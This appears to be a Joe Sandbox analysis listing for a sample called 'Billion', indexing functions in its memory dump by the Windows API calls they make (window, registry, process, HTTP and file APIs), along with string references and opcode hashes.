LoadCursorW.USER32(00000000,00007F03), ref: 001B08A5
LoadCursorW.USER32(00000000,00007F8B), ref: 001B08B0
LoadCursorW.USER32(00000000,00007F01), ref: 001B08BB
LoadCursorW.USER32(00000000,00007F81), ref: 001B08C6
LoadCursorW.USER32(00000000,00007F88), ref: 001B08D1
LoadCursorW.USER32(00000000,00007F80), ref: 001B08DC
LoadCursorW.USER32(00000000,00007F86), ref: 001B08E7
LoadCursorW.USER32(00000000,00007F83), ref: 001B08F2
LoadCursorW.USER32(00000000,00007F85), ref: 001B08FD
LoadCursorW.USER32(00000000,00007F82), ref: 001B0908
LoadCursorW.USER32(00000000,00007F84), ref: 001B0913
LoadCursorW.USER32(00000000,00007F04), ref: 001B091E
LoadCursorW.USER32(00000000,00007F02), ref: 001B0929
GetCursorInfo.USER32(?), ref: 001B0939
GetLastError.KERNEL32 ref: 001B097B

Memory Dump Source

Source File: 0000000C.00000002.3324557168.0000000000131000.00000020.00000001.01000000.00000007.sdmp, Offset: 00130000, based on PE: true

Associated: 0000000C.00000002.3324518263.0000000000130000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001CD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001F3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324735392.00000000001FD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324772151.0000000000205000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_130000_Billion.jbxd

Similarity

API ID: Cursor$Load$ErrorInfoLast
String ID:
API String ID: 3215588206-0
Opcode ID: 6626a7a0d9a93081c8bcc8abc283be170c4bac1588660d718e217c136cd1f3d2
Instruction ID: 0160457b3e9c5d52297881c12fc2d9668f39ad9a307cca1ccdb249eac83fa8b4
Opcode Fuzzy Hash: 6626a7a0d9a93081c8bcc8abc283be170c4bac1588660d718e217c136cd1f3d2
Instruction Fuzzy Hash: D14142B0D083196ADB109FBA8C89C6EBFE8FF08754B50452AE11CE7291DB78D901CF91

Function 00150436 Relevance: 26.3, APIs: 10, Strings: 5, Instructions: 81COMMON

Download Yara Rule

APIs

__scrt_initialize_thread_safe_statics_platform_specific.LIBCMT ref: 00150436

Part of subcall function 0015045D: InitializeCriticalSectionAndSpinCount.KERNEL32(0020170C,00000FA0,E99CF4C7,?,?,?,?,00172733,000000FF), ref: 0015048C
Part of subcall function 0015045D: GetModuleHandleW.KERNEL32(api-ms-win-core-synch-l1-2-0.dll,?,?,?,?,00172733,000000FF), ref: 00150497
Part of subcall function 0015045D: GetModuleHandleW.KERNEL32(kernel32.dll,?,?,?,?,00172733,000000FF), ref: 001504A8
Part of subcall function 0015045D: GetProcAddress.KERNEL32(00000000,InitializeConditionVariable), ref: 001504BE
Part of subcall function 0015045D: GetProcAddress.KERNEL32(00000000,SleepConditionVariableCS), ref: 001504CC
Part of subcall function 0015045D: GetProcAddress.KERNEL32(00000000,WakeAllConditionVariable), ref: 001504DA
Part of subcall function 0015045D: __crt_fast_encode_pointer.LIBVCRUNTIME ref: 00150505
Part of subcall function 0015045D: __crt_fast_encode_pointer.LIBVCRUNTIME ref: 00150510

___scrt_fastfail.LIBCMT ref: 00150457

Part of subcall function 00150413: __onexit.LIBCMT ref: 00150419

Strings

api-ms-win-core-synch-l1-2-0.dll, xrefs: 00150492
SleepConditionVariableCS, xrefs: 001504C4
InitializeConditionVariable, xrefs: 001504B8
WakeAllConditionVariable, xrefs: 001504D2
kernel32.dll, xrefs: 001504A3

Memory Dump Source

Source File: 0000000C.00000002.3324557168.0000000000131000.00000020.00000001.01000000.00000007.sdmp, Offset: 00130000, based on PE: true

Associated: 0000000C.00000002.3324518263.0000000000130000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001CD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001F3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324735392.00000000001FD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324772151.0000000000205000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_130000_Billion.jbxd

Similarity

API ID: AddressProc$HandleModule__crt_fast_encode_pointer$CountCriticalInitializeSectionSpin___scrt_fastfail__onexit__scrt_initialize_thread_safe_statics_platform_specific
String ID: InitializeConditionVariable$SleepConditionVariableCS$WakeAllConditionVariable$api-ms-win-core-synch-l1-2-0.dll$kernel32.dll
API String ID: 66158676-1714406822
Opcode ID: 15d9228e7bc50854e4a67df30bb742ef40b6b36f01049e6f83ac5b9997392967
Instruction ID: 9a0ff54b3fcdeecaabfa7ed962d9b762cd55b5371f7a95911c24758b413ad024
Opcode Fuzzy Hash: 15d9228e7bc50854e4a67df30bb742ef40b6b36f01049e6f83ac5b9997392967
Instruction Fuzzy Hash: 0221D432A40B04EBD7232BE4BC4AF697794EB0CB62F040136FD159A690EB70D8448A51

Function 00193A43 Relevance: 24.9, APIs: 8, Strings: 6, Instructions: 400COMMON

Download Yara Rule

APIs

_wcslen.LIBCMT ref: 00193AD9
_wcslen.LIBCMT ref: 00193B44

Strings

NAME, xrefs: 00193C81, 00193C92
REGEXPCLASS, xrefs: 00193BA1, 00193BB2
CLASS, xrefs: 00193AD4, 00193AF1
CLASSNN, xrefs: 00193B3F, 00193B50
TEXT, xrefs: 00193DC8
INSTANCE, xrefs: 00193D9F

Memory Dump Source

Source File: 0000000C.00000002.3324557168.0000000000131000.00000020.00000001.01000000.00000007.sdmp, Offset: 00130000, based on PE: true

Associated: 0000000C.00000002.3324518263.0000000000130000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001CD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001F3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324735392.00000000001FD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324772151.0000000000205000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_130000_Billion.jbxd

Similarity

API ID: _wcslen
String ID: CLASS$CLASSNN$INSTANCE$NAME$REGEXPCLASS$TEXT
API String ID: 176396367-1603158881
Opcode ID: 05dfa9a3202d4d796ee92d3368c9a3978b5372158da7c638b44b06351cee7967
Instruction ID: 93addd3e2e168be848f2cd1ba24ed72fc5898769346f3b53256800bc9c93f29a
Opcode Fuzzy Hash: 05dfa9a3202d4d796ee92d3368c9a3978b5372158da7c638b44b06351cee7967
Instruction Fuzzy Hash: 65E1E332E00516ABCF189FB8C8916EDBBB5BF54710F51412AE576F7250EB30AE898790

Function 001A4F05 Relevance: 24.8, APIs: 7, Strings: 7, Instructions: 309COMMON

Download Yara Rule

APIs

CharLowerBuffW.USER32(00000000,00000000,001CDCD0), ref: 001A4F6C
_wcslen.LIBCMT ref: 001A4F80
_wcslen.LIBCMT ref: 001A4FDE
_wcslen.LIBCMT ref: 001A5039
_wcslen.LIBCMT ref: 001A5084
_wcslen.LIBCMT ref: 001A50EC

Part of subcall function 0014FD52: _wcslen.LIBCMT ref: 0014FD5D

GetDriveTypeW.KERNEL32(?,001F7C10,00000061), ref: 001A5188

Strings

network, xrefs: 001A50E2, 001A50E7
fixed, xrefs: 001A507A, 001A507F
cdrom, xrefs: 001A4FD4, 001A4FD9
unknown, xrefs: 001A514D
removable, xrefs: 001A502F, 001A5034
all, xrefs: 001A4F76, 001A4F7B
ramdisk, xrefs: 001A5136

Memory Dump Source

Source File: 0000000C.00000002.3324557168.0000000000131000.00000020.00000001.01000000.00000007.sdmp, Offset: 00130000, based on PE: true

Associated: 0000000C.00000002.3324518263.0000000000130000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001CD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001F3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324735392.00000000001FD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324772151.0000000000205000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_130000_Billion.jbxd

Similarity

API ID: _wcslen$BuffCharDriveLowerType
String ID: all$cdrom$fixed$network$ramdisk$removable$unknown
API String ID: 2055661098-1000479233
Opcode ID: 4f30797d9c8bdb144c33cea2dcc7d7296e3a3d58d3b21a25dd4010c525a6a59d
Instruction ID: 5c53c4c3aa3a2070192dba9529892bd01242931255729c40879d6d8b36ee1202
Opcode Fuzzy Hash: 4f30797d9c8bdb144c33cea2dcc7d7296e3a3d58d3b21a25dd4010c525a6a59d
Instruction Fuzzy Hash: B3B1013560C7029FC314DF28C990A7AB7E6BFA6724F10491DF59687292D730D884CB92

Function 001BBA59 Relevance: 24.4, APIs: 16, Instructions: 418processCOMMON

Download Yara Rule

APIs

_wcslen.LIBCMT ref: 001BBBF8
GetSystemDirectoryW.KERNEL32(00000000,00000000), ref: 001BBC10
GetSystemDirectoryW.KERNEL32(00000000,00000000), ref: 001BBC34
_wcslen.LIBCMT ref: 001BBC60
GetCurrentDirectoryW.KERNEL32(00000000,00000000), ref: 001BBC74
GetCurrentDirectoryW.KERNEL32(00000000,00000000), ref: 001BBC96
_wcslen.LIBCMT ref: 001BBD92

Part of subcall function 001A0F4E: GetStdHandle.KERNEL32(000000F6), ref: 001A0F6D

_wcslen.LIBCMT ref: 001BBDAB
_wcslen.LIBCMT ref: 001BBDC6
CreateProcessW.KERNEL32(00000000,?,00000000,00000000,?,?,00000000,?,?,?), ref: 001BBE16
GetLastError.KERNEL32(00000000), ref: 001BBE67
CloseHandle.KERNEL32(?), ref: 001BBE99
CloseHandle.KERNEL32(00000000), ref: 001BBEAA
CloseHandle.KERNEL32(00000000), ref: 001BBEBC
CloseHandle.KERNEL32(00000000), ref: 001BBECE
CloseHandle.KERNEL32(?), ref: 001BBF43

Memory Dump Source

Source File: 0000000C.00000002.3324557168.0000000000131000.00000020.00000001.01000000.00000007.sdmp, Offset: 00130000, based on PE: true

Associated: 0000000C.00000002.3324518263.0000000000130000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001CD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001F3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324735392.00000000001FD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324772151.0000000000205000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_130000_Billion.jbxd

Similarity

API ID: Handle$Close_wcslen$Directory$CurrentSystem$CreateErrorLastProcess
String ID:
API String ID: 2178637699-0
Opcode ID: 7d3e713fd3f01d4cdd0abf2c92fd1be3f6da8a3e055a3806612bf96cbd6dd1e0
Instruction ID: ce8127f0ddd17fcf9d63125fd1667a42712a64f209cf233042e1b618ac01aeaa
Opcode Fuzzy Hash: 7d3e713fd3f01d4cdd0abf2c92fd1be3f6da8a3e055a3806612bf96cbd6dd1e0
Instruction Fuzzy Hash: 68F1BF71608340DFCB15EF24C891BAABBE1BF95314F14855DF8998B2A2CB70EC45CB52

Function 001B4A46 Relevance: 23.2, APIs: 11, Strings: 2, Instructions: 478libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(kernel32.dll,?,001CDCD0), ref: 001B4B18
GetProcAddress.KERNEL32(00000000,GetModuleHandleExW), ref: 001B4B2A
GetModuleFileNameW.KERNEL32(?,?,00000104,?,?,?,001CDCD0), ref: 001B4B4F
FreeLibrary.KERNEL32(00000000,?,001CDCD0), ref: 001B4B9B
StringFromGUID2.OLE32(?,?,00000028,?,001CDCD0), ref: 001B4C05
SysFreeString.OLEAUT32(00000009), ref: 001B4CBF
QueryPathOfRegTypeLib.OLEAUT32(?,?,?,?,?), ref: 001B4D25
SysFreeString.OLEAUT32(?), ref: 001B4D4F

Strings

GetModuleHandleExW, xrefs: 001B4B24
kernel32.dll, xrefs: 001B4B13

Memory Dump Source

Source File: 0000000C.00000002.3324557168.0000000000131000.00000020.00000001.01000000.00000007.sdmp, Offset: 00130000, based on PE: true

Associated: 0000000C.00000002.3324518263.0000000000130000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001CD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001F3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324735392.00000000001FD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324772151.0000000000205000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_130000_Billion.jbxd

Similarity

API ID: FreeString$Library$AddressFileFromLoadModuleNamePathProcQueryType
String ID: GetModuleHandleExW$kernel32.dll
API String ID: 354098117-199464113
Opcode ID: a11727c9d1b473b64aeefb4bd047540a1d9f0cd4d8004b29cdffdc3b2c08eb6b
Instruction ID: f63a21318a7040ad8787fa097b7ebd99addf9be40b5b2f7f22801affbf7fbf4d
Opcode Fuzzy Hash: a11727c9d1b473b64aeefb4bd047540a1d9f0cd4d8004b29cdffdc3b2c08eb6b
Instruction Fuzzy Hash: 8512FA75A00115EFDB14DF98C884EAABBB5FF49314F25C098F909AB252D731ED46CBA0

Function 0013381F Relevance: 23.0, APIs: 12, Strings: 1, Instructions: 214windowCOMMON

Download Yara Rule

APIs

GetMenuItemCount.USER32(002029C0), ref: 00173F72
GetMenuItemCount.USER32(002029C0), ref: 00174022
GetCursorPos.USER32(?), ref: 00174066
SetForegroundWindow.USER32(00000000), ref: 0017406F
TrackPopupMenuEx.USER32(002029C0,00000000,?,00000000,00000000,00000000), ref: 00174082
PostMessageW.USER32(00000000,00000000,00000000,00000000), ref: 0017408E

Strings

0, xrefs: 0013382D

Memory Dump Source

Source File: 0000000C.00000002.3324557168.0000000000131000.00000020.00000001.01000000.00000007.sdmp, Offset: 00130000, based on PE: true

Associated: 0000000C.00000002.3324518263.0000000000130000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001CD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001F3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324735392.00000000001FD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324772151.0000000000205000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_130000_Billion.jbxd

Similarity

API ID: Menu$CountItem$CursorForegroundMessagePopupPostTrackWindow
String ID: 0
API String ID: 36266755-4108050209
Opcode ID: 91bfbd36651c195fdd2b19c1c8a37897978f8fa155077f60d9c5d40639d33a34
Instruction ID: 29a33b0b74052d9b3ba70afd8ea299b235d02489a8075b7623fe95dc81f4135c
Opcode Fuzzy Hash: 91bfbd36651c195fdd2b19c1c8a37897978f8fa155077f60d9c5d40639d33a34
Instruction Fuzzy Hash: 22710530645205BFEB258F28DC49FAABF75FF05364F108216F628A61E0C7B1A950EB95

Function 001C7711 Relevance: 22.9, APIs: 11, Strings: 2, Instructions: 194windowCOMMON

Download Yara Rule

APIs

DestroyWindow.USER32(00000000,?), ref: 001C7823

Part of subcall function 00138577: _wcslen.LIBCMT ref: 0013858A

CreateWindowExW.USER32(00000008,tooltips_class32,00000000,?,80000000,80000000,80000000,80000000,?,00000000,00000000,?), ref: 001C7897
SendMessageW.USER32(00000000,00000433,00000000,00000030), ref: 001C78B9
SendMessageW.USER32(00000000,00000432,00000000,00000030), ref: 001C78CC
DestroyWindow.USER32(?), ref: 001C78ED
CreateWindowExW.USER32(00000008,tooltips_class32,00000000,?,80000000,80000000,80000000,80000000,?,00000000,00130000,00000000), ref: 001C791C
SendMessageW.USER32(00000000,00000432,00000000,00000030), ref: 001C7935
GetDesktopWindow.USER32 ref: 001C794E
GetWindowRect.USER32(00000000), ref: 001C7955
SendMessageW.USER32(00000000,00000418,00000000,?), ref: 001C796D
SendMessageW.USER32(00000000,00000421,?,00000000), ref: 001C7985

Part of subcall function 00132234: GetWindowLongW.USER32(?,000000EB), ref: 00132242

Strings

0, xrefs: 001C77D0
tooltips_class32, xrefs: 001C7890, 001C7915

Memory Dump Source

Source File: 0000000C.00000002.3324557168.0000000000131000.00000020.00000001.01000000.00000007.sdmp, Offset: 00130000, based on PE: true

Associated: 0000000C.00000002.3324518263.0000000000130000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001CD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001F3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324735392.00000000001FD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324772151.0000000000205000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_130000_Billion.jbxd

Similarity

API ID: Window$MessageSend$CreateDestroy$DesktopLongRect_wcslen
String ID: 0$tooltips_class32
API String ID: 2429346358-3619404913
Opcode ID: c8b6e5d4ac8c51f3ea25cb9bb91303239a03cdc013d8faf7e24cdc856c556eff
Instruction ID: af5f93c12ff00644a43ac1aeae728cbbfbe216b8a2b04144727dbf01fe62f84a
Opcode Fuzzy Hash: c8b6e5d4ac8c51f3ea25cb9bb91303239a03cdc013d8faf7e24cdc856c556eff
Instruction Fuzzy Hash: 06716670108345AFD725DF18DC48F6ABBE9EB99318F14446EF985872A1CBB0E946CF12

Function 0013146D Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 168timeCOMMON

Download Yara Rule

APIs

Part of subcall function 00131802: InvalidateRect.USER32(?,00000000,00000001,?,?,?,00131488,?,00000000,?,?,?,?,0013145A,00000000,?), ref: 00131865

DestroyWindow.USER32(?), ref: 00131521
KillTimer.USER32(00000000,?,?,?,?,0013145A,00000000,?), ref: 001315BB
DestroyAcceleratorTable.USER32(00000000), ref: 001729B4
ImageList_Destroy.COMCTL32(00000000,?,?,?,?,?,?,00000000,?,?,?,?,0013145A,00000000,?), ref: 001729E2
ImageList_Destroy.COMCTL32(?,?,?,?,?,?,?,00000000,?,?,?,?,0013145A,00000000,?), ref: 001729F9
ImageList_Destroy.COMCTL32(00000000,?,?,?,?,?,?,?,?,00000000,?,?,?,?,0013145A,00000000), ref: 00172A15
DeleteObject.GDI32(00000000), ref: 00172A27

Strings

<) , xrefs: 001315E0

Memory Dump Source

Source File: 0000000C.00000002.3324557168.0000000000131000.00000020.00000001.01000000.00000007.sdmp, Offset: 00130000, based on PE: true

Associated: 0000000C.00000002.3324518263.0000000000130000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001CD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001F3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324735392.00000000001FD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324772151.0000000000205000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_130000_Billion.jbxd

Similarity

API ID: Destroy$ImageList_$AcceleratorDeleteInvalidateKillObjectRectTableTimerWindow
String ID: <)
API String ID: 641708696-2904062661
Opcode ID: 1c1253402a706f67b40c10aebdc95a257f1596e0dd69723ad0dc6ac2d280fb51
Instruction ID: 628849d2ee5d586e36e04b3ecc30b69586bee51ceed2c99803fdc2c7cf1aabb3
Opcode Fuzzy Hash: 1c1253402a706f67b40c10aebdc95a257f1596e0dd69723ad0dc6ac2d280fb51
Instruction Fuzzy Hash: 2A617931501715EFDB399F18E94DB2ABBB1FB85326F20812AE04797A61C770E895CB84

Function 001ACEBB Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 143networkCOMMON

Download Yara Rule

APIs

InternetConnectW.WININET(?,?,?,?,?,?,00000000,00000000), ref: 001ACEF5
GetLastError.KERNEL32(?,00000003,?,?,?,?,?,?), ref: 001ACF08
SetEvent.KERNEL32(?,?,00000003,?,?,?,?,?,?), ref: 001ACF1C
HttpOpenRequestW.WININET(00000000,00000000,?,00000000,00000000,00000000,?,00000000), ref: 001ACF35
InternetQueryOptionW.WININET(00000000,0000001F,?,?), ref: 001ACF78
InternetSetOptionW.WININET(00000000,0000001F,00000100,00000004), ref: 001ACF8E
HttpSendRequestW.WININET(00000000,00000000,00000000,00000000,00000000), ref: 001ACF99
HttpQueryInfoW.WININET(00000000,00000005,?,?,?), ref: 001ACFC9
GetLastError.KERNEL32(?,00000003,?,?,?,?,?,?), ref: 001AD021
SetEvent.KERNEL32(?,?,00000003,?,?,?,?,?,?), ref: 001AD035
InternetCloseHandle.WININET(00000000), ref: 001AD040

Strings

, xrefs: 001ACFBA

Memory Dump Source

Source File: 0000000C.00000002.3324557168.0000000000131000.00000020.00000001.01000000.00000007.sdmp, Offset: 00130000, based on PE: true

Associated: 0000000C.00000002.3324518263.0000000000130000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001CD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001F3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324735392.00000000001FD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324772151.0000000000205000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_130000_Billion.jbxd

Similarity

API ID: Internet$Http$ErrorEventLastOptionQueryRequest$CloseConnectHandleInfoOpenSend
String ID:
API String ID: 3800310941-3916222277
Opcode ID: c28746ac1f75e933072b06731e202423cfa47ceb31eb25eb92e1ccb396f925ee
Instruction ID: 9a5c14fd1b28be8547a14a5dc869563ff61ba9ba0d57382fa57552e2c8b8d776
Opcode Fuzzy Hash: c28746ac1f75e933072b06731e202423cfa47ceb31eb25eb92e1ccb396f925ee
Instruction Fuzzy Hash: 8D517FB5500B04BFDB219FA0ED88EAB7BBCFF1A744F004429F94696650D734D9459BA0

Function 001C8FCB Relevance: 22.6, APIs: 15, Instructions: 131filecommemoryCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(00000000,80000000,00000000,00000000,00000003,00000000,00000000,00000000,?,?,?,?,?,001C66D6,?,?), ref: 001C8FEE
GetFileSize.KERNEL32(00000000,00000000,?,?,?,?,001C66D6,?,?,00000000,?), ref: 001C8FFE
GlobalAlloc.KERNEL32(00000002,00000000,?,?,?,?,001C66D6,?,?,00000000,?), ref: 001C9009
CloseHandle.KERNEL32(00000000,?,?,?,?,001C66D6,?,?,00000000,?), ref: 001C9016
GlobalLock.KERNEL32(00000000), ref: 001C9024
ReadFile.KERNEL32(00000000,00000000,00000000,00000000,00000000,?,?,?,?,001C66D6,?,?,00000000,?), ref: 001C9033
GlobalUnlock.KERNEL32(00000000), ref: 001C903C
CloseHandle.KERNEL32(00000000,?,?,?,?,001C66D6,?,?,00000000,?), ref: 001C9043
CreateStreamOnHGlobal.OLE32(00000000,00000001,?,?,?,?,?,001C66D6,?,?,00000000,?), ref: 001C9054
OleLoadPicture.OLEAUT32(?,00000000,00000000,001D0C04,?), ref: 001C906D
GlobalFree.KERNEL32(00000000), ref: 001C907D
GetObjectW.GDI32(00000000,00000018,?), ref: 001C909D
CopyImage.USER32(00000000,00000000,00000000,?,00002000), ref: 001C90CD
DeleteObject.GDI32(00000000), ref: 001C90F5
SendMessageW.USER32(?,00000172,00000000,00000000), ref: 001C910B

Memory Dump Source

Source File: 0000000C.00000002.3324557168.0000000000131000.00000020.00000001.01000000.00000007.sdmp, Offset: 00130000, based on PE: true

Associated: 0000000C.00000002.3324518263.0000000000130000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001CD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001F3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324735392.00000000001FD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324772151.0000000000205000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_130000_Billion.jbxd

Similarity

API ID: Global$File$CloseCreateHandleObject$AllocCopyDeleteFreeImageLoadLockMessagePictureReadSendSizeStreamUnlock
String ID:
API String ID: 3840717409-0
Opcode ID: 0595bff7d5740fac079aa37d5498cffbb1b7ab03108d6387f40c39b16ce8f61f
Instruction ID: f655811026a2dbdde57eaa046f76678c2095d98c3b16792739b36a703c12b384
Opcode Fuzzy Hash: 0595bff7d5740fac079aa37d5498cffbb1b7ab03108d6387f40c39b16ce8f61f
Instruction Fuzzy Hash: 8141F775600208AFDB119FA5EC8CEAABBBDFF89711F144069F905E7660D770D981DB20

Function 001BC06E Relevance: 21.3, APIs: 10, Strings: 2, Instructions: 285registrylibraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 0013B329: _wcslen.LIBCMT ref: 0013B333

Part of subcall function 001BD3F8: CharUpperBuffW.USER32(?,?,?,?,?,?,?,001BC10E,?,?), ref: 001BD415
Part of subcall function 001BD3F8: _wcslen.LIBCMT ref: 001BD451
Part of subcall function 001BD3F8: _wcslen.LIBCMT ref: 001BD4C8
Part of subcall function 001BD3F8: _wcslen.LIBCMT ref: 001BD4FE

RegConnectRegistryW.ADVAPI32(?,?,?), ref: 001BC154
RegOpenKeyExW.ADVAPI32(?,?,00000000,?,?), ref: 001BC1D2
RegDeleteValueW.ADVAPI32(?,?), ref: 001BC26A
RegCloseKey.ADVAPI32(?), ref: 001BC2DE
RegCloseKey.ADVAPI32(?), ref: 001BC2FC
LoadLibraryA.KERNEL32(advapi32.dll), ref: 001BC352
GetProcAddress.KERNEL32(00000000,RegDeleteKeyExW), ref: 001BC364
RegDeleteKeyW.ADVAPI32(?,?), ref: 001BC382
FreeLibrary.KERNEL32(00000000), ref: 001BC3E3
RegCloseKey.ADVAPI32(00000000), ref: 001BC3F4

Strings

RegDeleteKeyExW, xrefs: 001BC35E
advapi32.dll, xrefs: 001BC34D

Memory Dump Source

Source File: 0000000C.00000002.3324557168.0000000000131000.00000020.00000001.01000000.00000007.sdmp, Offset: 00130000, based on PE: true

Associated: 0000000C.00000002.3324518263.0000000000130000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001CD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001F3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324735392.00000000001FD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324772151.0000000000205000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_130000_Billion.jbxd

Similarity

API ID: _wcslen$Close$DeleteLibrary$AddressBuffCharConnectFreeLoadOpenProcRegistryUpperValue
String ID: RegDeleteKeyExW$advapi32.dll
API String ID: 146587525-4033151799
Opcode ID: f1acc0431f40e63f796f1e909706c12f19f82b19eab639713b28b792f6861036
Instruction ID: 0cad6fdc8e9552fa4b20af4404bdc44df4743580adcde116490151aa1e6ef671
Opcode Fuzzy Hash: f1acc0431f40e63f796f1e909706c12f19f82b19eab639713b28b792f6861036
Instruction Fuzzy Hash: 49C19D74208201AFD714DF68C495F6ABBE1BF94308F54849CF4968B2A2CB71ED46CBD1

Function 001CA94F Relevance: 21.3, APIs: 10, Strings: 2, Instructions: 271windowCOMMON

Download Yara Rule

APIs

Part of subcall function 0013249F: GetWindowLongW.USER32(00000000,000000EB), ref: 001324B0

GetSystemMetrics.USER32(0000000F), ref: 001CA990
GetSystemMetrics.USER32(00000011), ref: 001CA9A7
GetSystemMetrics.USER32(00000004), ref: 001CA9B3
GetSystemMetrics.USER32(0000000F), ref: 001CA9C9
MoveWindow.USER32(00000003,?,?,00000001,?,00000000,?,00000000,?,00000000), ref: 001CAC15
SendMessageW.USER32(00000003,00000142,00000000,0000FFFF), ref: 001CAC33
SendMessageW.USER32(00000003,00000469,?,00000000), ref: 001CAC54
ShowWindow.USER32(00000003,00000000), ref: 001CAC73
InvalidateRect.USER32(?,00000000,00000001), ref: 001CAC95
DefDlgProcW.USER32(?,00000005,?), ref: 001CACBB

Strings

( , xrefs: 001CA95B
@, xrefs: 001CABD0

Memory Dump Source

Source File: 0000000C.00000002.3324557168.0000000000131000.00000020.00000001.01000000.00000007.sdmp, Offset: 00130000, based on PE: true

Associated: 0000000C.00000002.3324518263.0000000000130000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001CD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001F3000.00000002.00000001.01000000.00000007.sdmpDownload File
